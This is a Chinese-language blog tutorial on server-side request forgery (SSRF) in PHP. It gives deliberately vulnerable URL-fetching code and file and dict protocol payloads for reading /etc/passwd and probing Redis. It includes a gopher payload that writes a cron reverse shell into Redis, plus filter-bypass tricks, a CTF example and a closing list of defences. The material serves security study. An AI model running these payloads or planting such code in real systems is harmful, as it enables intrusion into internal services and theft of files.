ssrf

ssrf概述

风险函数

  • file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

file_get_contents()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

fsocketopen()

背景

  • fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>
  • fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
  • $out里面变量含义:给目的地址一个协议串。
  • \r\n的含义:fgets会获取文件描述符$fp的当前的128(也可能是别的常数)个字节,如果还没有到128个字节遇到换行符了,则只返回换行符及换行符之前的内容。
  • sockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets()fgetss()fwrite()fclose()还有feof())。如果调用失败,将返回FALSE
  • 使用fsockopen()函数比fopen()函数的优点:fopen()只会在PHP中已经将allow_url_fopen设置为真时才能使用,而fsockopen()并没有限制。

PHP cURL 函数 curl_exec()

背景

  • curl 就是模拟浏览器请求的,比如获取获取远程的网页,虽然可以使用file_get_content函数 但是 curl支持cookie 自定义浏览器类型,来源 ip等等

  • curl_exec函数: 这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用。

  • mixed curl_exec ( resource $ch )
        ch:由 curl_init() 返回的 cURL 句柄。
    
<?php
// 创建一个cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.w3cschool.cc/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

漏洞

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

风险协议

(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活

ssrf利用

本地利用

使用file协议 file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'
使用dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

gopher 协议

gopher协议介绍

  • Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议

  • Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用

  • 利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求

  • Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。

gopher局限

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断), 7.49 可用

攻击内网主机

湖湘杯2018

<?php 
if(!isset($_GET['url'])){
  echo "ssrf me with parameter 'url'";
}
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
echo curl_exec($ch); 
curl_close($ch); 

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
  if($_POST['user']=="admin" && $ip=="127.0.0.1"){
    system("/var/www/html/ssrf/readflag");
}
}
?>

gopher 攻击内网redis

  • 未授权访问redis条件存在限制,若开启了protected-mode,外网访问是不具有写入权限的;若绑定了127.0.0.1,那么外网将无法访问;但如果存在SSRF漏洞,那么通过Gopher协议可对本地redis进行攻击

  • payload:gopher://www.0-sec.org:port/_payload

  • 更多内容在 http://wiki.0-sec.org/

    • gopher 攻击FastCGI
    • gopher 攻击Fast CGI

file 协议读取本地文件

  • ?url=file:///etc/passwd

dict 协议探测端口

有回显表示端口开放,无回显即端口关闭

  • ?url= dict://127.0.0.1:80

绕过防护

1、常用绕过方法

1.@

http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
2.利用[::]
可以利用[::]来绕过localhost

http://[::]:80/  >>>  http://127.0.0.1

3.添加端口号

http://127.0.0.1:8080

4.利用短网址
站长工具短网址
百度短网址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

127.0.0.1.xip.io,可解析为127.0.0.1

6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

8.句号

127。0。0。1  >>>  127.0.0.1

9.302跳转
使用https://tinyurl.com生成302跳转地址

2、常见限制

1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址

防护

1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

posted @ 2020-05-03 12:19  10nnn4R  阅读(444)  评论(0编辑  收藏  举报